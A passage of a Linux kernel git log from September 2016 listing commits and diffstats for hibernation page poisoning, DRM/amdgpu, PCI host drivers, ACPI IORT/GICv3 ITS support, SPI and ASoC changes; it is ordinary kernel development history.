zeroing new pages on alloc, they are poisoned (zeroed) as they become available. In the hibernate use case, free pages will appear in the system without being cleared, left there by the loading kernel. This patch will make sure free pages are cleared on resume when PAGE_POISONING_ZERO is enabled. We free the pages just after resume because we can't do it later: going through any device resume code might allocate some memory and invalidate the free pages bitmap. Thus we don't need to disable hibernation when PAGE_POISONING_ZERO is enabled. Signed-off-by: Anisse Astier Reviewed-by: Kees Cook Acked-by: Pavel Machek Signed-off-by: Rafael J. Wysocki kernel/power/hibernate.c | 21 +++------------------ kernel/power/power.h | 2 ++ kernel/power/snapshot.c | 22 ++++++++++++++++++++++ mm/Kconfig.debug | 2 -- 4 files changed, 27 insertions(+), 20 deletions(-) commit ffdf8b867b922d2d3150ccfa330d1c6d22716562 Author: Geert Uytterhoeven Date: Tue Sep 6 14:18:20 2016 +0200 cpufreq: dt: Add support for r8a7792 Add the compatible string for supporting the generic cpufreq driver on the Renesas R-Car V2H (r8a7792) SoC. Signed-off-by: Geert Uytterhoeven Acked-by: Viresh Kumar Signed-off-by: Rafael J. Wysocki drivers/cpufreq/cpufreq-dt-platdev.c | 1 + 1 file changed, 1 insertion(+) commit 8506912b969b60aacc733315eeeb46b014d920a4 Merge: b4eac54 df0bd1e Author: Dave Airlie Date: Tue Sep 13 10:28:17 2016 +1000 Merge branch 'drm-tda998x-devel' of git://git.armlinux.org.uk/~rmk/linux-arm into drm-next This adds the ASoC codec interfaces for TDA998x HDMI audio from Jyri Sarha. * 'drm-tda998x-devel' of git://git.armlinux.org.uk/~rmk/linux-arm: ARM: dts: am335x-boneblack: Add HDMI audio support drm/i2c: tda998x: Register ASoC hdmi-codec and add audio DT binding drm/i2c: tda998x: Improve tda998x_configure_audio() audio related pdata commit b4eac5465b23a9bcb4a66376a5664086b4913288 Merge: 1f8ee72 0c3ff44 Author: Dave Airlie Date: Tue Sep 13 10:24:52 2016 +1000 Merge tag 'sunxi-drm-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux into drm-next Allwinner DRM changes for 4.9 This tag adds the support of a new SoC to sun4i-drm (the Allwinner A33), and the usual few fixes and enhancements * tag 'sunxi-drm-for-4.9' of https://git.kernel.org/pub/scm/linux/kernel/git/mripard/linux: drm/sun4i: add missing header dependencies drm/sun4i: Add a DRC driver drm/sun4i: backend: Handle the SAT drm/sun4i: support A33 tcon drm/sun4i: support TCONs without channel 1 drm/sun4i: Clear encoder->bridge if a bridge is not found drm/sun4i: rgb: add missing calls to drm_panel_{prepare,unprepare} drm/sun4i: Remove redundant dev_err call in sun4i_tcon_init_regmap() drm/sun4i: Add bridge support drm/sun4i: Move panel retrieval in RGB connector drm/sun4i: Store TCON's device structure pointer commit c12f29a5d44d4197162d7fd1cc5dc57d8cfffcf8 Author: Al Stone Date: Fri Aug 19 17:24:02 2016 -0600 x86: ACPI: make variable names clearer in acpi_parse_madt_lapic_entries() This patch has no functional change; it is purely cosmetic, though it does make it a wee bit easier to understand the code. Before, the count of LAPICs was being stored in the variable 'x2count' and the count of X2APICs was being stored in the variable 'count'. This patch swaps that so that the routine acpi_parse_madt_lapic_entries() will now consistently use x2count to refer to X2APIC info, and count to refer to LAPIC info. Signed-off-by: Al Stone Signed-off-by: Rafael J. Wysocki arch/x86/kernel/acpi/boot.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 0f61aaa413989e7838178f5ae77c9c4ad8507013 Author: Al Stone Date: Fri Aug 19 17:24:01 2016 -0600 x86: ACPI: remove extraneous white space after semicolon Signed-off-by: Al Stone Signed-off-by: Rafael J. Wysocki arch/x86/kernel/acpi/boot.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1f8ee720cebd2a4988e2627aa0c45465778c3171 Merge: eb97027 dec90ea Author: Dave Airlie Date: Tue Sep 13 10:19:38 2016 +1000 Merge tag 'topic/drm-misc-2016-09-08' of git://anongit.freedesktop.org/drm-intel into drm-next * tag 'topic/drm-misc-2016-09-08' of git://anongit.freedesktop.org/drm-intel: drm: Fix error path in drm_mode_page_flip_ioctl() Revert "drm: Unify handling of blob and object properties" drm/udl: implement usb_driver suspend/resume. drm: fix signed integer overflow drm/atomic: Reject properties not part of the object. drm/doc: Add a few words on validation with IGT commit fa7fd6fa38e36d88bc9f2d0e45e5b9bd0387079f Author: Sudeep Holla Date: Fri Aug 19 14:41:00 2016 +0100 PM / sleep: enable suspend-to-idle even without registered suspend_ops Suspend-to-idle (aka the "freeze" sleep state) is a system sleep state in which all of the processors enter deepest possible idle state and wait for interrupts right after suspending all the devices. There is no hard requirement for a platform to support and register platform specific suspend_ops to enter suspend-to-idle/freeze state. Only deeper system sleep states like PM_SUSPEND_STANDBY and PM_SUSPEND_MEM rely on such low level support/implementation. suspend-to-idle can be entered as along as all the devices can be suspended. This patch enables the support for suspend-to-idle even on systems that don't have any low level support for deeper system sleep states and/or don't register any platform specific suspend_ops. Signed-off-by: Sudeep Holla Tested-by: Andy Gross Signed-off-by: Rafael J. Wysocki include/linux/suspend.h | 2 ++ kernel/power/main.c | 1 + kernel/power/suspend.c | 14 +++++++++++--- 3 files changed, 14 insertions(+), 3 deletions(-) commit 5b3f249c94ce1f46bacd9814385b0ee2d1ae52f3 Author: Chen Yu Date: Fri Aug 19 12:37:23 2016 +0800 PM / sleep: Increase default DPM watchdog timeout to 120 Recently we have a new report that, the harddisk can not resume on time due to firmware issues, and got a kernel panic because of DPM watchdog timeout. So adjust the default timeout from 60 to 120 to survive on this platform, and make DPM_WATCHDOG depending on EXPERT. Link: https://bugzilla.kernel.org/show_bug.cgi?id=117971 Suggested-by: Pavel Machek Suggested-by: Rafael J. Wysocki Reported-by: Higuita Signed-off-by: Chen Yu Acked-by: Pavel Machek Signed-off-by: Rafael J. Wysocki kernel/power/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b20b378d49926b82c0a131492fa8842156e0e8a9 Merge: 0215492 da499f8 Author: David S. Miller Date: Mon Sep 12 15:52:44 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net Conflicts: drivers/net/ethernet/mediatek/mtk_eth_soc.c drivers/net/ethernet/qlogic/qed/qed_dcbx.c drivers/net/phy/Kconfig All conflicts were cases of overlapping commits. Signed-off-by: David S. Miller commit 3d664b070ccb2b1522174ac36c606f92808a26fa Author: Geert Uytterhoeven Date: Wed Aug 31 11:28:22 2016 +0200 PCI: rcar: Don't disable/unprepare clocks on prepare/enable failure If clk_prepare_enable() fails, we must not call clk_disable_unprepare() in the error path. Signed-off-by: Geert Uytterhoeven Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-rcar.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 6e9057a8f90f3a9d662d8c0a347850e1fa331a30 Author: Tom St Denis Date: Tue Sep 6 11:36:42 2016 -0400 drm/amd/amdgpu: Tidy up SI IH code Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_ih.c | 30 ++++++++---------------------- 1 file changed, 8 insertions(+), 22 deletions(-) commit 77d318a6b9f2f8599d913b7b5013cdf0342c71ed Author: Tom St Denis Date: Tue Sep 6 09:45:43 2016 -0400 drm/amd/amdgpu: Correct whitespace in SI DPM code Replace 8 spaces with tabs, correct {} braces, etc. Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 441 +++++++++++++++++------------------- 1 file changed, 209 insertions(+), 232 deletions(-) commit c3d98645854485ca3c07b0e110ec6d61f77558fa Author: Tom St Denis Date: Tue Sep 6 09:44:47 2016 -0400 drm/amd/amdgpu: Clean up SI DPM table assignments Hoist common assignments out of cases. Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 42 +++++++++---------------------------- 1 file changed, 10 insertions(+), 32 deletions(-) commit 9623e4bfaa5e78727cae5c19b9ee5f94cf6bb24a Author: Tom St Denis Date: Tue Sep 6 09:42:55 2016 -0400 drm/amd/amdgpu: Allow calling si_dpm_fini at any point Allow calling fini even if ps array is not allocated. Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dpm.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit cb5df31b2d218a0a01952f9551f114b1bc32064c Author: Tom St Denis Date: Tue Sep 6 08:42:02 2016 -0400 drm/amd/amdgpu: Tidy up SI DMA code Signed-off-by: Tom St Denis Reviewed-by: Edward O'Callaghan Reviewed-by: Huang Rui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/si_dma.c | 35 +++++------------------------------ 1 file changed, 5 insertions(+), 30 deletions(-) commit a3fd80740a659ae1d20d090749958cc06f172b7e Author: Rex Zhu Date: Mon Sep 5 18:34:18 2016 +0800 drm/amd/powerplay: fix issue power containment not enabled on Tonga. Signed-off-by: Rex Zhu Acked-by: Flora Cui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/tonga_powertune.c | 3 --- 1 file changed, 3 deletions(-) commit 2377cd945fcd024a4083729a90b33231d2e1e721 Author: Rex Zhu Date: Mon Sep 5 17:49:19 2016 +0800 drm/amd/powerplay: enable/disable auto thermal throttle for tonga. Signed-off-by: Rex Zhu Acked-by: Flora Cui Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 82 +++++++++++++++++++++++ 1 file changed, 82 insertions(+) commit 74b0b157845748e5817cae56c891b05d98da5f47 Author: jimqu Date: Wed Sep 7 17:09:12 2016 +0800 drm/amd/amdgpu: S4 issue for amdgpu (v2) reset the asic if adapter is not powerdown when doing freeze() thaw() and restore(), in order to get a valid state of adapter. v2: squash in warning fix from Rex Signed-off-by: JimQu Acked-by: Christian König Tested By: Shawn Starr Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 20 ++++++++++++++------ drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 23 +++++++++++++++++++++-- 2 files changed, 35 insertions(+), 8 deletions(-) commit 3aecd24c65b9539b6faac2a52a9aaa7bc90f4677 Author: Monk Liu Date: Thu Aug 25 15:40:48 2016 +0800 drm/amdgpu: change job->ctx field name job->ctx actually is a fence_context of the entity it belongs to, naming it as ctx is too vague, and we'll need add amdgpu_ctx into the job structure later. Signed-off-by: Monk Liu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 2 +- drivers/gpu/drm/amd/amdgpu/amdgpu_ib.c | 12 ++++++------ drivers/gpu/drm/amd/amdgpu/amdgpu_job.c | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) commit d4946ccfd0373610ffa6181cffae236bf07d3aff Author: Monk Liu Date: Fri Aug 26 14:15:03 2016 +0800 drm/amdgpu: new method to sync ce&de sync switch buffer scheme with windows kmd for gfx v8, step2: Insert 128NOP after&before VM flush to prevent CE vm fault. Signed-off-by: Monk Liu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/gfx_v8_0.c | 24 ++++++------------------ 1 file changed, 6 insertions(+), 18 deletions(-) commit ea4a8c1d94e98693612b01908076d6133be52c6e Author: Maruthi Srinivas Bayyavarapu Date: Tue Aug 30 15:16:36 2016 +0530 drm/amdgpu: add VCE VM mode support This adds VCE VM mode support from Stoney onwards. Session tracking is an open issue, yet to be supported. v2: Fixed warnings from checkpatch.pl Signed-off-by: Maruthi Bayyavarapu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 63 +++++++++++++++++++++++++++++++++-- drivers/gpu/drm/amd/amdgpu/vid.h | 4 +++ 2 files changed, 64 insertions(+), 3 deletions(-) commit 6c8b12080e9775d13dd99a4cd3d9e79448bf93f7 Author: Bjorn Helgaas Date: Mon Aug 22 14:12:11 2016 -0500 PCI: altera: Remove redundant platform_get_resource() return value check devm_ioremap_resource() fails gracefully when given a NULL resource pointer, so we don't need to check separately for failure from platform_get_resource_byname(). Remove the redundant check. Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera-msi.c | 10 ---------- 1 file changed, 10 deletions(-) commit ce4f1c7ad490aa7129bde5632d6e53943f8a866c Author: Ley Foon Tan Date: Fri Aug 26 09:47:25 2016 +0800 PCI: altera: Move retrain from fixup to altera_pcie_host_init() Previously we used a PCI early fixup to initiate a link retrain on Altera devices. But Altera PCIe IP can be configured as either a Root Port or an Endpoint, and they might have same vendor ID, so the fixup would be run for both. We only want to initiate a link retrain for Altera Root Port devices, not for Endpoints, so move the link retrain functionality from the fixup to altera_pcie_host_init(). [bhelgaas: changelog] Signed-off-by: Ley Foon Tan Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-altera.c | 151 +++++++++++++++++++++++++---------------- 1 file changed, 91 insertions(+), 60 deletions(-) commit 8e7ca8ca5fd8a3242289105723c429733be8b73b Author: Po Liu Date: Mon Aug 29 15:26:58 2016 +0800 PCI: xilinx: Relax device number checking to allow SR-IOV Previously we only allowed device 0 to be directly attached to the root port. But SR-IOV devices may use non-zero device numbers for VFs. Remove the restriction that only device 0 may be attached to a root port. [bhelgaas: changelog] Signed-off-by: Po Liu Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-xilinx.c | 7 ------- 1 file changed, 7 deletions(-) commit e18934b5e9c78bb8c223b323275c14a0968e2737 Author: Po Liu Date: Mon Aug 29 15:26:58 2016 +0800 PCI: designware: Relax device number checking to allow SR-IOV Previously we only allowed device 0 to be directly attached to the root port. But SR-IOV devices may use non-zero device numbers for VFs. Remove the restriction that only device 0 may be attached to a root port. [bhelgaas: changelog] Signed-off-by: Po Liu Signed-off-by: Bjorn Helgaas Acked-by: Jingoo Han drivers/pci/host/pcie-designware.c | 7 ------- 1 file changed, 7 deletions(-) commit d99e30b7936ad2214548e33d8de15584c741bdb4 Author: Po Liu Date: Mon Aug 29 15:26:58 2016 +0800 PCI: altera: Relax device number checking to allow SR-IOV Previously we only allowed device 0 to be directly attached to the root port. But SR-IOV devices may use non-zero device numbers for VFs. Remove the restriction that only device 0 may be attached to a root port. [bhelgaas: changelog] Signed-off-by: Po Liu Signed-off-by: Bjorn Helgaas Acked-by: Ley Foon Tan drivers/pci/host/pcie-altera.c | 7 ------- 1 file changed, 7 deletions(-) commit 156c55325d30261d250e88ed3a39f22008f4ca16 Author: Po Liu Date: Mon Aug 29 15:28:01 2016 +0800 PCI: Check for pci_setup_device() failure in pci_iov_add_virtfn() If pci_setup_device() returns failure, we must return failure from pci_iov_add_virtfn(). If we ignore the failure and continue with an uninitialized pci_dev for virtfn, we crash later when we try to use those uninitialized parts. Signed-off-by: Po Liu Signed-off-by: Bjorn Helgaas drivers/pci/iov.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit f6ce410a59a48aff47bb7e18ab40497e4e80d275 Author: Gustavo Padovan Date: Mon Sep 12 16:08:11 2016 -0300 drm/fence: allow fence waiting to be interrupted by userspace If userspace is running an synchronously atomic commit and interrupts the atomic operation during fence_wait() it will hang until the timer expires, so here we change the wait to be interruptible so it stop immediately when userspace wants to quit. Also adds the necessary error checking for fence_wait(). v2: Comment by Daniel Vetter - Add error checking for fence_wait() v3: Rebase on top of new atomic noblocking support v4: Comment by Maarten Lankhorst - remove 'swapped' bitfield as it was duplicating information v5: Comments by Maarten Lankhorst - assign plane->state to plane_state if !intr - squash previous patch into this one v6: Comment by Sean Paul - rename intr to pre_swap Signed-off-by: Gustavo Padovan Reviewed-by: Maarten Lankhorst [seanpaul fixed a couple checkpatch warnings and moved the preswap comment] Signed-off-by: Sean Paul Link: http://patchwork.freedesktop.org/patch/msgid/1473707291-14781-1-git-send-email-gustavo@padovan.org drivers/gpu/drm/drm_atomic_helper.c | 41 +++++++++++++++++++++++++++++-------- drivers/gpu/drm/msm/msm_atomic.c | 2 +- include/drm/drm_atomic_helper.h | 5 +++-- 3 files changed, 36 insertions(+), 12 deletions(-) commit f4702d61eb53466251eeb677f9784e047e1caf0c Author: Jaegeuk Kim Date: Fri Sep 9 16:48:15 2016 -0700 f2fs: add common iget in add_fsync_inode There is no functional change. Signed-off-by: Jaegeuk Kim fs/f2fs/recovery.c | 43 +++++++++++++++++-------------------------- 1 file changed, 17 insertions(+), 26 deletions(-) commit 723344dd0b2aa10ef9d28fe7f35d594d3e64f0f9 Author: Tomasz Nowicki Date: Mon Sep 12 20:32:27 2016 +0200 irqchip/gicv3-its: Use MADT ITS subtable to do PCI/MSI domain initialization Let ACPI build ITS PCI MSI domain. ACPI code is responsible for retrieving inner domain token and passing it on to its_pci_msi_init_one generic init call. IORT maintains list of registered domain tokens and allows to find corresponding domain based on MADT ITS subtable ID info. Signed-off-by: Tomasz Nowicki Acked-by: Marc Zyngier Reviewed-by: Hanjun Guo Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic-v3-its-pci-msi.c | 44 ++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) commit db744aaa279fa1d2a06dd6b95f9599acf3557885 Author: Tomasz Nowicki Date: Mon Sep 12 20:32:26 2016 +0200 irqchip/gicv3-its: Factor out PCI-MSI part that might be reused for ACPI Firmware agnostic code lands in common functions which do necessary domain initialization based on unique domain handler. DT specific code goes to DT specific init call. Signed-off-by: Tomasz Nowicki Acked-by: Marc Zyngier Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic-v3-its-pci-msi.c | 44 +++++++++++++++++++++----------- 1 file changed, 29 insertions(+), 15 deletions(-) commit 3f010cf197324b6c1e87f472e64b87c5f909735e Author: Tomasz Nowicki Date: Mon Sep 12 20:32:25 2016 +0200 irqchip/gicv3-its: Probe ITS in the ACPI way ITS is prepared for being initialized different than DT, therefore we can initialize it in ACPI way. We collect register base address from MADT table and pass mandatory info to firmware-agnostic ITS init call. Use here IORT lib to register ITS domain which then can be found and used on to build another PCI MSI domain in hierarchical stack domain. NOTE: Waiting for proper ITS and NUMA node relation description in IORT table, we pass around NUMA_NO_NODE to the its_probe_one init call. This means that Cavium ThunderX erratum 23144 (pass1.1 only) is not supported for ACPI boot method yet. Signed-off-by: Tomasz Nowicki Acked-by: Marc Zyngier Reviewed-by: Hanjun Guo Signed-off-by: Marc Zyngier drivers/irqchip/Kconfig | 1 + drivers/irqchip/irq-gic-v3-its.c | 61 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 61 insertions(+), 1 deletion(-) commit db40f0a7aea5e03ef044ef5dbc51a364e1ff7991 Author: Tomasz Nowicki Date: Mon Sep 12 20:32:24 2016 +0200 irqchip/gicv3-its: Refactor ITS DT init code to prepare for ACPI In order to add ACPI support we need to isolate ACPI&DT common code and move DT logic to corresponding functions. To achieve this we are using firmware agnostic handle which can be unpacked to either DT or ACPI node. No functional changes other than a very minor one: 1. Terminate its_init call with -ENODEV for non-DT case which allows to remove hack from its-gic-v3.c. 2. Fix ITS base register address type (from 'unsigned long' to 'phys_addr_t'), as a bonus we get nice string formatting. 3. Since there is only one of ITS parent domain convert it to static global variable and drop the parameter from its_probe_one. Users can refer to it in more convenient way then. Signed-off-by: Hanjun Guo Signed-off-by: Tomasz Nowicki Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic-v3-its.c | 65 ++++++++++++++++++++++---------------- drivers/irqchip/irq-gic-v3.c | 7 ++-- include/linux/irqchip/arm-gic-v3.h | 4 +-- 3 files changed, 42 insertions(+), 34 deletions(-) commit d14ae5e6bac36e88cd5deeee411104da424bc73d Author: Tomasz Nowicki Date: Mon Sep 12 20:32:23 2016 +0200 irqchip/gicv3-its: Cleanup for ITS domain initialization There is no point to initialize ITS without having msi-controller property in corresponding DT node. However, its_probe is checking msi-controller presence at the end, so we can save our time and do that check prior to its_probe call. Also, for the code clarity purpose, we put domain initialization to separate function. Signed-off-by: Tomasz Nowicki Acked-by: Marc Zyngier Reviewed-by: Hanjun Guo Signed-off-by: Marc Zyngier drivers/irqchip/irq-gic-v3-its.c | 57 ++++++++++++++++++++++++---------------- 1 file changed, 34 insertions(+), 23 deletions(-) commit be2021baeed64d8947a56529fc383308918ecc41 Author: Tomasz Nowicki Date: Mon Sep 12 20:32:22 2016 +0200 PCI/MSI: Setup MSI domain on a per-device basis using IORT ACPI table It is possible to provide information about which MSI controller to use on a per-device basis for DT. This patch supply this with ACPI support. Currently, IORT is the only one ACPI table which can provide such mapping. In order to plug IORT into MSI infrastructure we are adding ACPI equivalents for finding PCI device domain and its RID translation (pci_msi_domain_get_msi_rid and pci_msi_domain_get_msi_rid calls). Signed-off-by: Tomasz Nowicki Reviewed-by: Hanjun Guo Acked-by: Marc Zyngier Acked-by: Bjorn Helgaas Signed-off-by: Marc Zyngier drivers/pci/msi.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 4bf2efd26d7624372fb7adff8745b4c2e8407004 Author: Tomasz Nowicki Date: Mon Sep 12 20:32:21 2016 +0200 ACPI: Add new IORT functions to support MSI domain handling For ITS, MSI functionality consists on building domain stack and during that process we need to reference to domain stack components e.g. before we create new DOMAIN_BUS_PCI_MSI domain we need to specify its DOMAIN_BUS_NEXUS parent domain. In order to manage that process properly, maintain list which elements contain domain token (unique for MSI domain stack) and ITS ID: iort_register_domain_token() and iort_deregister_domain_token(). Then retrieve domain token any time later with ITS ID being key off: iort_find_domain_token(). With domain token and domain type we are able to find corresponding IRQ domain. Since IORT is prepared to describe MSI domain on a per-device basis, use existing IORT helpers and implement two calls: 1. iort_msi_map_rid() to map MSI RID for a device 2. iort_get_device_domain() to find domain token for a device Signed-off-by: Tomasz Nowicki Acked-by: Rafael J. Wysocki Reviewed-by: Hanjun Guo Signed-off-by: Marc Zyngier drivers/acpi/arm64/iort.c | 152 ++++++++++++++++++++++++++++++++++++++++++++++ include/linux/acpi_iort.h | 12 ++++ 2 files changed, 164 insertions(+) commit 88ef16d888a094587b2ac77de60927df5da5d56d Author: Tomasz Nowicki Date: Mon Sep 12 20:54:20 2016 +0200 ACPI: I/O Remapping Table (IORT) initial support IORT shows representation of IO topology for ARM based systems. It describes how various components are connected together on parent-child basis e.g. PCI RC -> SMMU -> ITS. Also see IORT spec. http://infocenter.arm.com/help/topic/com.arm.doc.den0049b/DEN0049B_IO_Remapping_Table.pdf Initial support allows to detect IORT table presence and save its root pointer obtained through acpi_get_table(). The pointer validity depends on acpi_gbl_permanent_mmap because if acpi_gbl_permanent_mmap is not set while using IORT nodes we would dereference unmapped pointers. For the aforementioned reason call acpi_iort_init() from acpi_init() which guarantees acpi_gbl_permanent_mmap to be set at that point. Add generic helpers which are helpful for scanning and retrieving information from IORT table content. List of the most important helpers: - iort_find_dev_node() finds IORT node for a given device - iort_node_map_rid() maps device RID and returns IORT node which provides final translation IORT support is placed under drivers/acpi/arm64/ new directory due to its ARM64 specific nature. The code there is considered only for ARM64. The long term plan is to keep all ARM64 specific tables support in this place e.g. GTDT table. Signed-off-by: Tomasz Nowicki Acked-by: Rafael J. Wysocki Reviewed-by: Hanjun Guo Reviewed-by: Lorenzo Pieralisi Signed-off-by: Marc Zyngier drivers/acpi/Kconfig | 4 + drivers/acpi/Makefile | 2 + drivers/acpi/arm64/Kconfig | 6 ++ drivers/acpi/arm64/Makefile | 1 + drivers/acpi/arm64/iort.c | 216 ++++++++++++++++++++++++++++++++++++++++++++ drivers/acpi/bus.c | 2 + include/linux/acpi_iort.h | 30 ++++++ 7 files changed, 261 insertions(+) commit 1696566f995cfd4ddf3f167b4097cdc83f1458f2 Author: Hans de Goede Date: Sun Sep 11 18:29:16 2016 +0200 iio: accel: mxc6255: Fix chip-id check The initial commit adding support for the mxc6225 assumed the mxc6225 has a chip-id of 0xe5 based on testing on a single Allwinner A23 tablet with a mxc6225. Testing on a bunch of other Allwinner tablets have shown that the chip-id for the mxc6225 is not constant. A datasheet for the MXC6255 which I've found online says that bits 7 and 6 of the chip-id register are undefined (for the mxc6255), testing on 5 different tablets with a mxc6225 has found the following ids: 0x25, 0x45, 0x65, 0x85, 0xe5. So it seems that for the mxc6225 bits 7, 6 and 5 of the chip-id register are undefined. This commit adjusts the chip-id check so that the mxc6255 driver properly recognizes the mxc6225 in all these tablets. Signed-off-by: Hans de Goede Signed-off-by: Jonathan Cameron drivers/iio/accel/mxc6255.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 2f58ea64bd8931bd7709732fe0a96e0bfb44a00b Author: Neil Armstrong Date: Thu Sep 8 09:53:26 2016 +0200 spi: meson: Add GXBB compatible Signed-off-by: Neil Armstrong Acked-by: Kevin Hilman Signed-off-by: Mark Brown drivers/spi/spi-meson-spifc.c | 1 + 1 file changed, 1 insertion(+) commit 164c5cd5ffabfa7a060999f8184927017287c39b Author: Neil Armstrong Date: Thu Sep 8 09:53:25 2016 +0200 spi: meson: Add GXBB Compatible string Signed-off-by: Neil Armstrong Acked-by: Kevin Hilman Signed-off-by: Mark Brown Documentation/devicetree/bindings/spi/spi-meson.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c59b24f87b997f6de6e2511b9ef702685042e089 Author: Julia Lawall Date: Sun Sep 11 14:14:42 2016 +0200 ASoC: constify gpio_chip structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct gpio_chip i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct gpio_chip e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct gpio_chip i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Mark Brown sound/soc/codecs/rt5677.c | 2 +- sound/soc/codecs/wm5100.c | 2 +- sound/soc/codecs/wm8903.c | 2 +- sound/soc/codecs/wm8962.c | 2 +- sound/soc/codecs/wm8996.c | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit 52abe54138d9b14b4a0a17742a53d2411bc5b167 Author: Julia Lawall Date: Sun Sep 11 14:14:41 2016 +0200 ASoC: ac97: constify gpio_chip structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct gpio_chip i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct gpio_chip e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct gpio_chip i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Mark Brown sound/soc/soc-ac97.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 115c7254882ceb965deb05510128464fef06fbfb Author: Julia Lawall Date: Thu Sep 8 02:35:23 2016 +0200 ASoC: constify snd_pcm_ops structures Check for snd_pcm_ops structures that are only stored in the ops field of a snd_soc_platform_driver structure or passed as the third argument to snd_pcm_set_ops. The corresponding field or parameter is declared const, so snd_pcm_ops structures that have this property can be declared as const also. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // @r disable optional_qualifier@ identifier i; position p; @@ static struct snd_pcm_ops i@p = { ... }; @ok1@ identifier r.i; struct snd_soc_platform_driver e; position p; @@ e.ops = &i@p; @ok2@ identifier r.i; expression e1, e2; position p; @@ snd_pcm_set_ops(e1, e2, &i@p) @bad@ position p != {r.p,ok1.p,ok2.p}; identifier r.i; struct snd_pcm_ops e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct snd_pcm_ops i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Mark Brown sound/soc/amd/acp-pcm-dma.c | 2 +- sound/soc/atmel/atmel-pcm-pdc.c | 2 +- sound/soc/codecs/rt5514-spi.c | 2 +- sound/soc/fsl/fsl_asrc_dma.c | 2 +- sound/soc/intel/atom/sst-mfld-platform-pcm.c | 2 +- sound/soc/intel/haswell/sst-haswell-pcm.c | 2 +- sound/soc/intel/skylake/skl-pcm.c | 2 +- sound/soc/kirkwood/kirkwood-dma.c | 2 +- sound/soc/qcom/lpass-platform.c | 2 +- sound/soc/soc-utils.c | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) commit 38d003f1a43f3afd6b5e0da728f06dad07a85687 Author: Heiner Kallweit Date: Wed Sep 7 22:54:51 2016 +0200 spi: fsl-espi: merge fsl_espi_trans and fsl_espi_do_trans Merge both functions to reduce source code size and improve readability. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) commit 06af115d6c6d8b3d7b6cbc8a46f0603e70b1be58 Author: Heiner Kallweit Date: Wed Sep 7 22:54:35 2016 +0200 spi: fsl-espi: improve message length handling Move checking for a zero-length message up in the call chain and use m->frame_length instead of re-calculating the overall length of all transfers in the message. Signed-off-by: Heiner Kallweit Signed-off-by: Mark Brown drivers/spi/spi-fsl-espi.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit cce7e3a2fe39a5b66162a3dc1463a1af598d0803 Author: Heiner Kallweit Date: Wed Sep 7 22:54:18 